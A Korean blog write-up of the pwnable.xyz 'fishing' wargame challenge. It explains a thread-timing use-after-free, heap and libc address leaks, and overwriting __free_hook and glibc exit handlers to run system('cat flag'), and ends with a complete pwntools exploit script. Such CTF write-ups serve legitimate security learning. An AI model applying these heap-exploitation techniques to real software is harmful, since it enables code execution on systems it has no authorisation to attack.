본문으로 바로가기

pwnable.xyz / fishing

category Wargame/pwnable.xyz 2020. 5. 30. 04:22

pthread를 쓰긴 하는데 자세한 내용은 알 필요가 없고 대충 눈치로 어떤 게 어떤 동작을 하는지만 알면 된다.

이 바이너리에서 사용하는 구조체는 이렇게 생겼다.

 

 

  if ( fishing )
  {
    puts("You're group is already fishing, wait until they come back");
  }
  else if ( group_size.on_boat <= 1 )
  {
    puts("You need 2 or more people to fish");
  }
  else
  {
    fishing = 1;
    pthread_create(&thread, NULL, gone_fishing, NULL);
    puts("You're group has now left to catch some fish");
  }

 

go_fishing 함수는 fishing이 0이고 배에 탄 사람이 2명 이상이면 gone_fishing 함수를 새 thread에서 호출한다.

 

  if ( pthread_mutex_lock(&mutex) )
    err("Fatal locking");

  last = group_size.on_boat - 1;

  puts("\n!!!!ALERT!!!");
  __printf_chk(1, "%s has fallen over board\n"group[last]->name);
  puts("We are trying to save them");
  remove_person(last);

  if ( pthread_cond_wait(&cond, &mutex) )
    err("Fatal");

  puts("\nOk we are coming back. Btw they died...");
  --group_size.on_boat;
  fishing = 0;

  if ( pthread_mutex_unlock(&mutex) )
    err("Fatal unlocking");

 

취약점이 발생하는 gone_fishing 함수다.

remove_person은 cond signal wait 이전에 호출하는데, group_size.on_boat의 감소는 signal을 받은 후에 이루어진다.

 

void __fastcall remove_person(int idx)
{
  crew *member; // rbx

  member = group[idx];

  if ( member )
  {
    free(member->name);
    free(member->job);
    free(member);
  }
}

 

remove_person은 member->name, member->job, member를 free 한다.

done_fishing에서 group_size.on_boat를 감소시키지 않고 remove_person이 호출되기 때문에 마지막 crew 객체에서 UAF가 발생한다.

 

    member = (crew *)malloc(0x20uLL);

    member->name = (char *)malloc(0x18uLL);
    __printf_chk(1, "Name: ");
    read_string(member->name, 0x18);

    member->job = (char *)malloc(0x18uLL);
    __printf_chk(1, "Job: ");
    read_string(member->job, 0x18);

    __printf_chk(1, "Age: ");
    member->age = read_int();

    group[group_size.on_boat++] = member;

 

add_group_member는 name과 job을 NULL로 초기화하지 않고 그냥 read로 입력받기 때문에, fastbin의 fd 값을 1바이트 손실이 발생한 상태로 남겨놓을 수 있다.

 

먼저 heap 주소 leak은 아래 방법으로 달성할 수 있다.

 

 

1. crew 객체 A~D를 만든다.

2. D를 삭제한다. D를 지우면 D->job이 있던 chunk는 fd에 D->name의 위치를 저장하고 있다. (fastbin)

3. 다시 D를 만들면 D->name이 있는 곳에 heap 주소가 그대로 남아있기 때문에, gone_fishing에서 주소를 leak 할 수 있다.

4. D를 만들어서 초기 상태로 되돌린다.

 

libc leak은 조금 복잡하다. 위 과정에서 이어진다.

 

 

1. D를 삭제한다.

2. write_in_book에서 0x30 크기 chunk를 1개 할당받는다. 이 chunk는 D와 겹쳐진다.

3. book 내용을 heap_base+0x140 8바이트 + heap_base+0x160 8바이트 로 바꾼다.

4. A->name의 size를 0x2F1로 바꾼다.

 

A->name을 small bin 크기로 바꾼 뒤에 free하면 fd와 bk에 libc 주소가 들어간다. nextchunk prev_inuse 검사를 통과하기 위해 적절히 size를 설정해야 한다.

 

 

5. D부터 A까지 쭉 삭제한다. 이때 A->name의 chunk는 unsorted bin으로 들어간다.

6. 객체 A를 만들면 unsorted bin에 있던 0x2F0 크기 chunk는 small bin으로 이동한다.

7. fastbin을 비우기 위해 객체 B와 C를 만든다.

 

 

8. write_in_book에서 책을 하나 만든다. 이걸 만드는 이유는, overlapped 된 chunk를 잘 맞춰서 AAW를 편하게 하기 위함이다.

9. 객체 D와 E를 만든다. D와 E는 smallbin에서 떨어져 나왔기 때문에, E->name을 출력해서 libc 주소를 leak할 수 있다.

 

libc 주소를 leak 한 뒤 E를 만들면 name과 job이 뒤바뀐다. E->job을 수정해서 C의 name과 job 포인터를 자유롭게 움직일 수 있다.

 

...

 

처음에 __free_hook을 system으로 덮고 인자로 cat flag\x00 주소를 줬는데, pthread_create에서 sysmalloc assertion이 터지면서 free를 실행시킬 수 없었다. (ㅠㅠ)

 

결국 최후의 수단으로 __run_exit_handlers를 공략하기로 했다. AAW가 통한다면 방법은 간단하다.

 

1. __free_hook을 system으로 덮는다.

2. initial.idx를 0으로 설정한다.

3. initial.next를 "cat flag\x00" 의 주소로 설정한다.

 

어떤 테크닉인지는 알고 있었지만 실제로 써먹을 일이 없었기에.. 어쨌든 exit에서 system("cat flag"); 을 실행시켜 플래그를 따냈다.

쉽게 풀 방법이 있을 것 같은데, 주소 leak이 좀 힘들어서 이것저것 하다보니 이렇게 되었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
from time import sleep
import argparse
import sys


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def AddGroupMember(name:bytesjob:bytesage:int) :
    p.writelineafter(b'> 'b'1')
    p.writeafter(b': ', name)
    p.writeafter(b': ', job)
    p.writelineafter(b': 'str(age).encode())

def ModifyGroupMember(idx:intname:bytesjob:bytesage:int) :
    p.writelineafter(b'> 'b'2')
    p.writeline(str(idx).encode())
    p.writeafter(b': ', name)
    p.writeafter(b': ', job)
    p.writelineafter(b': 'str(age).encode())

def WriteInBook(book:bytes) :
    p.writeline(b'3')
    p.writeafter(b'?\n', book)

def GoFishing() -> bytes :
    p.writelineafter(b'> 'b'4')
    p.readuntil(b'ALERT!!!\n')
    return p.readuntil(b' has'drop=True)

def StopFishing() :
    p.writeline(b'5')

def exploit() :
    # remove D to create some fastbin entries
    # and spam books (to avoid overwriting pthread-related chunks)
    AddGroupMember(b'A'b'A'1)
    AddGroupMember(b'B'b'B'2)
    AddGroupMember(b'C'b'C'3)
    AddGroupMember(b'D'b'D'4)

    for i in range(0x10) :
        sleep(0.01)
        WriteInBook(b'\x00')

    GoFishing()
    StopFishing()

    # leak heap address
    AddGroupMember(b'D'b'D'1)
    leak = GoFishing().ljust(8b'\x00')
    heap_base = u64(leak) & 0xFFFFFFFFFFFFF000
    log_info('heap base: '+hex(heap_base))
    StopFishing()
    AddGroupMember(b'D'b'D'1)

    # change size of A->name
    GoFishing()
    WriteInBook(p64(heap_base+0x60) + p64(heap_base+0x80))
    ModifyGroupMember(4, p64(0)+p64(0x2B1), b'\x00'4)
    StopFishing()

    # rearrange chunks
    GoFishing()
    StopFishing()
    GoFishing()
    StopFishing()
    GoFishing()
    StopFishing()
    AddGroupMember(b'A'b'A'1)
    AddGroupMember(b'B'b'B'2)
    AddGroupMember(b'C'b'C'3)
    WriteInBook(b'\x00')
    AddGroupMember(b'D'b'D'4)
    AddGroupMember(b'E'b'E'5)

    # leak libc address
    leak = GoFishing().ljust(8b'\x00')
    libc_base = (u64(leak) & 0xFFFFFFFFFFFFFF00) - 0x393600   # main_arena = 0x393640
    libc_free_hook = libc_base + 0x395798
    libc_system = libc_base + 0x404F0
    libc_initial = libc_base + 0x394C40
    log_info('libc base: '+hex(libc_base))
    log_info('__free_hook = '+hex(libc_free_hook))
    log_info('system = '+hex(libc_system))
    log_info('initial = '+hex(libc_initial))
    StopFishing()

    # write system at __free_hook
    # and set initial.idx = 0, initial.next = "cat flag\x00"
    AddGroupMember(b'E'b'E'5)
    ModifyGroupMember(4b'cat flag\x00'b'\x00'4)
    ModifyGroupMember(5b'\x00', p64(libc_free_hook), 5)
    ModifyGroupMember(3, p64(libc_system), b'\x00'3)
    ModifyGroupMember(5b'\x00', p64(libc_initial+8), 5)
    ModifyGroupMember(3, p64(0), b'\x00'3)
    ModifyGroupMember(5b'\x00', p64(libc_initial), 5)
    ModifyGroupMember(3, p64(heap_base+0x1C0), b'\x00'3)

    p.writelineafter(b'> 'b'7')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30045fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/30/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / AdultVM  (2) 2020.05.31
pwnable.xyz / note v4  (0) 2020.05.30
pwnable.xyz / BabyVM  (0) 2020.05.22
pwnable.xyz / knum  (0) 2020.05.22
pwnable.xyz / PvE  (0) 2020.05.12